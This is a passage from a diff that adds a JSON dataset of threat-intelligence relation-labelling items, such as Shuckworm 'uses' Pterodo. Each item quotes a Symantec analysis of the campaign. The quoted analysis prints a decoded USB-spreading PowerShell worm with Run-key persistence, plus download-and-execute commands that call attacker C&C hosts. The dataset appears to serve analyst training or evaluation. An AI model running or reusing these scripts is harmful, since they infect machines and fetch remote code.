$tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>owns</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nPterodo\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Pterodo\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>uses</label>"
+    }
+]
\ No newline at end of file